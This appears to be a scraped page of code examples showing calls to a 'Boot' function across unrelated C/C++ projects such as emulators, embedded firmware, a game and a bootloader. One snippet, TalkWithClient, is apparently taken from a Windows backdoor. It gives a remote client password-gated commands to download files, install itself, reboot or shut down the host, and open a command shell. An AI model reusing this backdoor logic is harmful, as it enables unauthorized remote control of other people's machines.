Example #1
0
int main(int argc, char* argv[]) {
    /*FILE* fd = fopen("code.bin", "rb");
    size_t size = fread(code, 1, sizeof(code), fd);
    fclose(fd);*/

	//citra hacks

	EmuWindow_GLFW window;

	VideoCore::Init(&window);

	//citra hacks end

    //MainWindow* wndMain = new MainWindow();
	mykernel = new KKernel();

    Mem_Init(false);
    Mem_SharedMemInit();

	Boot(mykernel);

    //kernel->AddQuickCodeProcess(&code[0], size);
    mykernel->ThreadsRunTemp();
    return 0;
}
// INT1.4
__interrupt void  XINT1_ISR(void)
{
	// Insert ISR Code here
	Boot(MesgID);
	// To receive more interrupts from this PIE group, acknowledge this interrupt
	PieCtrlRegs.PIEACK.all = PIEACK_GROUP1;
}
Example #3
0
QtHost::QtHost(MainWindow *mainWindow_)
    : mainWindow(mainWindow_)
	, m_GPUStep(false)
	, m_GPUFlag(0)
{
	QObject::connect(this,SIGNAL(BootDoneSignal()),mainWindow,SLOT(Boot()));
}
//-----------------------------------------------------------------------------
// Purpose: Called every frame by postthink
//-----------------------------------------------------------------------------
void CPlayerClassCommando::ClassThink( void )
{
	// Check bullrush
	m_ClassData.m_bCanBullRush = true;

	// Do the init thing here!
	if ( m_bOldBullRush != m_ClassData.m_bBullRush )
	{
		if ( m_ClassData.m_bBullRush )
		{
			PreBullRush();
		}
		else
		{
			PostBullRush();
		}

		m_bOldBullRush = (bool)m_ClassData.m_bBullRush;
	} 

	// Check for melee attack
	if ( m_bCanBoot && m_pPlayer->IsAlive() && m_flNextBootCheck < gpGlobals->curtime )
	{
		m_flNextBootCheck = gpGlobals->curtime + 0.2;

		CBaseEntity *pEntity = NULL;
		Vector vecSrc	 = m_pPlayer->Weapon_ShootPosition( );
		Vector vecDir	 = m_pPlayer->BodyDirection2D( );
		Vector vecTarget = vecSrc + (vecDir * 48);
		for ( CEntitySphereQuery sphere( vecTarget, 16 ); pEntity = sphere.GetCurrentEntity(); sphere.NextEntity() )
		{
			if ( pEntity->IsPlayer() && (pEntity != m_pPlayer) )
			{
				CBaseTFPlayer *pPlayer = (CBaseTFPlayer *)pEntity;
				// Target needs to be on the enemy team
				if ( !pPlayer->IsClass( TFCLASS_UNDECIDED ) && pPlayer->IsAlive() && pPlayer->InSameTeam( m_pPlayer ) == false )
				{
					Boot( pPlayer );
					m_flNextBootCheck = gpGlobals->curtime + 1.5;
				}
			}
		}
	}

	BaseClass::ClassThink();
}
Example #5
0
void Starter::Receive(Message & message) {
	int tag = message.GetTag();

	if(tag == Actor::BOOT) {

		Boot(message);

	} else if(tag == DIE) {

		PrintAddress();
		cout << "Now I must die..." << endl;

		Die(message);
	} else if(tag == ADVISE) {
		Advise(message);
	}
}
void NextState(Uint16 MesgID)
{
	switch (ops.State)
	{
	case STATE_INIT:
		Initilize();
		break;
	case STATE_SENSOR_COV:
		SensorCov();
		break;
	case STATE_BOOT:
		Boot(MesgID);
		break;
	case STATE_POWER_DOWN:
		PowerDown();
		break;
	default:
		Initilize();
	}
}
Example #7
0
File: debie.c Project: hagos/debie
int main(void) 
{
   TARGET_INIT;
   /* Initialize the benchmark target system. */

   EA=0;
   /* Disable all interrupts */

   Boot();
   /* Execute boot sequence */

   EA=1;
   /* Enable 'enabled' interrupts */

   StartSystem(HEALTH_MONITORING_TASK);
   /* Start RTX kernel and first task */

   while(1)
   {
      /* StartSystem has failed, so we just      */
      /* wait here for a while for the Watch Dog */
      /* to wake up.                             */
   }
}
Example #8
0
QtApp::QtApp(MainWindow *mainWindow_)
	: mainWindow(mainWindow_),
	  QObject(0)
{
	QObject::connect(this,SIGNAL(BootDoneSignal()),mainWindow,SLOT(Boot()));
}
Example #9
0
//---------------------------------------------------------------------------------
int main(int argc, char **argv) 
	{
	InitVideo ();

	printf ("\n");
	printd ("---------------------------------------------------------------------------\n");
	printd ("                        priibooter "VER" by stfour\n");
	printd ("                       (part of postLoader project)\n");
	printd ("---------------------------------------------------------------------------\n");
	
	PAD_Init(); 
	WPAD_Init();

	// Let's mount devices
	int sd,usb;
	
	sd = Fat_Mount (DEV_SD, &keypressed);
	usb = Fat_Mount (DEV_USB, &keypressed);
	
	if (sd == 0 && usb == 0)
		{
		printd ("SD & USB not available, booting to System Menu\n");
		sleep(3);
		BootToMenu ();
		}

	if (sd && FileExist (POSTLOADER_SD))
		pl_sd = 1;

	if (sd && FileExist (POSTLOADER_SDAPP))
		pl_sd = 1;

	if (usb && FileExist (POSTLOADER_USB))
		pl_usb = 1;

	if (usb && FileExist (POSTLOADER_USBAPP))
		pl_usb = 1;

	
	printf ("\n");
	
	if (sd && !DirExist ("sd://ploader"))
		mkdir ("sd://ploader", S_IREAD | S_IWRITE);
		
	LoadPLN ();

	if (pl_sd == 0 && pl_usb == 0)
		{
		printd ("postLoader.dol not found on sd/usb");
		
		if (pln.bootMode != PLN_BOOT_NEEK)
			keypressed = 1;
		}

	// On the sd we should have plneek.dat... it will instruct us what to do
	nandSource = NULL;

	if (sd)
		{
		printd ("Checking "PLNEEK_DAT"\n");
		nandSource = (char*)ReadFile2Buffer (PLNEEK_DAT, NULL, NULL);
		}
		
	if (nandSource)
		{
		GetNandsFolders ();

		char *p;
		
		p = nandSource+strlen(nandSource)-1;
		while (*p != '/' && p > nandSource) p--;
		if (*p == '/') p++;
		
		strcpy (pln.name, p);
		printd (PLNEEK_DAT" found -> '%s'\n", nandSource);

		// If nandSource isn't null, we have to copy selected nand. But before check if we have a nand on the root... if exist it must be backed up
		StoreCurrentNand ();
			
		// Now we can move back the selected nand
		MoveNewNand ();
		}
	
	// After read remove the configuration file. If something fail, doesn't do it again
	remove (PLNEEK_DAT);

	GetNandsFolders ();
	Boot ();
		
	exit (0);
	}
// handle the client request
void TalkWithClient(void *cs)
{

    SOCKET wsh=(SOCKET)cs;
    char pwd[SVC_LEN];
    char cmd[KEY_BUFF];
	char chr[1];
	int i,j;

    while (nUser < MAX_USER) {

		if(wscfg.ws_passstr) {
			if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
			ZeroMemory(pwd,KEY_BUFF);
       		i=0;
			while(i<SVC_LEN) {

				// set timeout
				fd_set FdRead;
				struct timeval TimeOut;
				FD_ZERO(&FdRead);
				FD_SET(wsh,&FdRead);
				TimeOut.tv_sec=6;
				TimeOut.tv_usec=0;
				int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
				if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

				if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
				pwd[i]=chr[0];
				if(chr[0]==0xd || chr[0]==0xa) {
					pwd[i]=0;
					break;
				}
				i++;
		    }

			// if invalid user, close the socket
           	if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
		}

		send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
	    send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);

		while(1) {

			ZeroMemory(cmd,KEY_BUFF);

       		// auto support standard telnet client			
			j=0;
			while(j<KEY_BUFF) {
				if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
				cmd[j]=chr[0];
				if(chr[0]==0xa || chr[0]==0xd) {
					cmd[j]=0;
					break;
				}
				j++;
		    }

			// download file
			if(strstr(cmd,"http://")) {
				send(wsh,msg_ws_down,strlen(msg_ws_down),0);
				if(DownloadFile(cmd,wsh))
					send(wsh,msg_ws_err,strlen(msg_ws_err),0);
				else
					send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
			}
			else {

		    	switch(cmd[0]) {
					
					// help
					case '?': {
  			    		send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
						break;
					}
					// install
					case 'i': {
						if(Install())
							send(wsh,msg_ws_err,strlen(msg_ws_err),0);
						else
							send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
						break;
		    		}
					// uninstall
					case 'r': {
						if(Uninstall())
							send(wsh,msg_ws_err,strlen(msg_ws_err),0);
						else
							send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
						break;
		    		}
					// show winshell path
					case 'p': {
						char svExeFile[MAX_PATH];
						strcpy(svExeFile,"\n\r");
   						strcat(svExeFile,ExeFile);
        				send(wsh,svExeFile,strlen(svExeFile),0);
						break;
		    		}
					// reboot
					case 'b': {
						send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
						if(Boot(REBOOT))
							send(wsh,msg_ws_err,strlen(msg_ws_err),0);
						else {
							closesocket(wsh);
							ExitThread(0);
						}
						break;
		    		}
					// shutdown
					case 'd': {
						send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
						if(Boot(SHUTDOWN))
							send(wsh,msg_ws_err,strlen(msg_ws_err),0);
						else {
							closesocket(wsh);
							ExitThread(0);
						}
						break;
		    		}
					// enter cmd shell
					case 's': {
						CmdShell(wsh);
						closesocket(wsh);
						ExitThread(0);
						break;
					}
					// exit
					case 'x': {
						send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
						CloseIt(wsh);
						break;
		    		}
					// quit
					case 'q': {
						send(wsh,msg_ws_end,strlen(msg_ws_end),0);
						closesocket(wsh);
						WSACleanup();
						exit(1);
						break;
            		}
				}
			}

			// prompt message
	    	if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
		}
    } 

    return;
}
Example #11
0
extern "C" void multiboot_main(unsigned int magic, void* mbi)
{
    // 0x00000000 - 0x000003FF - Interrupt Vector Table
    // 0x00000400 - 0x000004FF - BIOS Data Area (BDA)
    // 0x00000500 - 0x000005FF - ROM BASIC (still used / reclaimed by some BIOS)
    g_memoryMap.AddBytes(MemoryType_Bootloader, 0, 0, 0x600);

    // Process multiboot info
    bool gotMultibootInfo = false;

    // Add bootloader (ourself) to memory map
    extern const char ImageBase[];
    extern const char ImageEnd[];
    const physaddr_t start = (physaddr_t)&ImageBase;
    const physaddr_t end = (physaddr_t)&ImageEnd;
    g_memoryMap.AddBytes(MemoryType_Bootloader, MemoryFlag_ReadOnly, start, end - start);

    if (magic == MULTIBOOT_BOOTLOADER_MAGIC && mbi)
    {
        ProcessMultibootInfo(static_cast<multiboot_info*>(mbi));
        gotMultibootInfo = true;
    }
    else if (magic== MULTIBOOT2_BOOTLOADER_MAGIC && mbi)
    {
        ProcessMultibootInfo(static_cast<multiboot2_info*>(mbi));
        gotMultibootInfo = true;
    }

    // Now that the memory allocator is initialized, we can create GraphicsConsole
    if (gotMultibootInfo)
    {
        if (g_frameBuffer.format != PIXFMT_UNKNOWN)
        {
            g_graphicsConsole.Initialize(&g_frameBuffer);
            g_console = &g_graphicsConsole;

            Framebuffer* fb = &g_bootInfo.framebuffers[g_bootInfo.framebufferCount];

            fb->width = g_frameBuffer.width;
            fb->height = g_frameBuffer.height;
            fb->pitch = g_frameBuffer.pitch;
            fb->format = g_frameBuffer.format;
            fb->pixels = (uintptr_t)g_frameBuffer.pixels;

            g_bootInfo.framebufferCount += 1;

        }
        else if (!g_console)
        {
            // // Assume a standard VGA card at 0xB8000
            // g_vgaConsole.Initialize((void*)0x000B8000, 80, 25);
            // g_console = &g_vgaConsole;
        }
    }

    g_console->Rainbow();

    Log(" BIOS Bootloader (" STRINGIZE(KERNEL_ARCH) ")\n\n");

    if (gotMultibootInfo)
    {
        // InstallBiosTrampoline();

        // g_display.Initialize();

        // for (int i = 0; i != g_display.GetModeCount(); ++i)
        // {
        //     DisplayMode mode;
        //     g_display.GetMode(i, &mode);

        //     if (mode.format == PIXFMT_X8R8G8B8)
        //     {
        //         //Log("Mode %d: %d x %d - %d\n", i, mode.width, mode.height, mode.format);
        //     }
        // }

        // Boot!
        Boot((void*)g_bootInfo.initrdAddress, g_bootInfo.initrdSize);
    }
    else
    {
        Fatal(" No multiboot information!\n");
    }
}
Example #12
0
void game_list_frame::ShowSpecifiedContextMenu(const QPoint &pos, int row)
{
	if (row == -1)
	{
		return; // invalid
	}

	QPoint globalPos;

	if (m_isListLayout)
	{
		globalPos = gameList->mapToGlobal(pos);
	}
	else
	{
		globalPos = m_xgrid->mapToGlobal(pos);
	}

	QMenu myMenu;

	// Make Actions
	QAction* boot = myMenu.addAction(tr("&Boot"));
	QFont f = boot->font();
	f.setBold(true);
	boot->setFont(f);
	QAction* configure = myMenu.addAction(tr("&Configure"));
	myMenu.addSeparator();
	QAction* removeGame = myMenu.addAction(tr("&Remove"));
	QAction* removeConfig = myMenu.addAction(tr("&Remove Custom Configuration"));
	myMenu.addSeparator();
	QAction* openGameFolder = myMenu.addAction(tr("&Open Install Folder"));
	QAction* openConfig = myMenu.addAction(tr("&Open Config Folder"));
	myMenu.addSeparator();
	QAction* checkCompat = myMenu.addAction(tr("&Check Game Compatibility"));

	connect(boot, &QAction::triggered, [=]() {Boot(row); });
	connect(configure, &QAction::triggered, [=]() {
		settings_dialog(xgui_settings, m_Render_Creator, this, &m_game_data[row].info).exec();
	});
	connect(removeGame, &QAction::triggered, [=]() {
		if (QMessageBox::question(this, tr("Confirm Delete"), tr("Permanently delete files?")) == QMessageBox::Yes)
		{
			fs::remove_all(Emu.GetGameDir() + m_game_data[row].info.root);
			m_game_data.erase(m_game_data.begin() + row);
			Refresh();
		}
	});
	connect(removeConfig, &QAction::triggered, [=]() {RemoveCustomConfiguration(row); });
	connect(openGameFolder, &QAction::triggered, [=]() {open_dir(Emu.GetGameDir() + m_game_data[row].info.root); });
	connect(openConfig, &QAction::triggered, [=]() {open_dir(fs::get_config_dir() + "data/" + m_game_data[row].info.serial); });
	connect(checkCompat, &QAction::triggered, [=]() {
		QString serial = qstr(m_game_data[row].info.serial);
		QString link = "https://rpcs3.net/compatibility?g=" + serial;
		QDesktopServices::openUrl(QUrl(link));
	});

	//Disable options depending on software category
	QString category = qstr(m_game_data[row].info.category);

	if (category == category::disc_Game)
	{
		removeGame->setEnabled(false);
	}
	else if (category == category::audio_Video)
	{
		configure->setEnabled(false);
		removeConfig->setEnabled(false);
		openConfig->setEnabled(false);
		checkCompat->setEnabled(false);
	}
	else if (category == category::home || category == category::game_Data)
	{
		boot->setEnabled(false), f.setBold(false), boot->setFont(f);
		configure->setEnabled(false);
		removeConfig->setEnabled(false);
		openConfig->setEnabled(false);
		checkCompat->setEnabled(false);
	}

	myMenu.exec(globalPos);
}
Example #13
0
QtHost::QtHost(MainWindow *mainWindow_)
    : mainWindow(mainWindow_)
{
	QObject::connect(this,SIGNAL(BootDoneSignal()),mainWindow,SLOT(Boot()));
}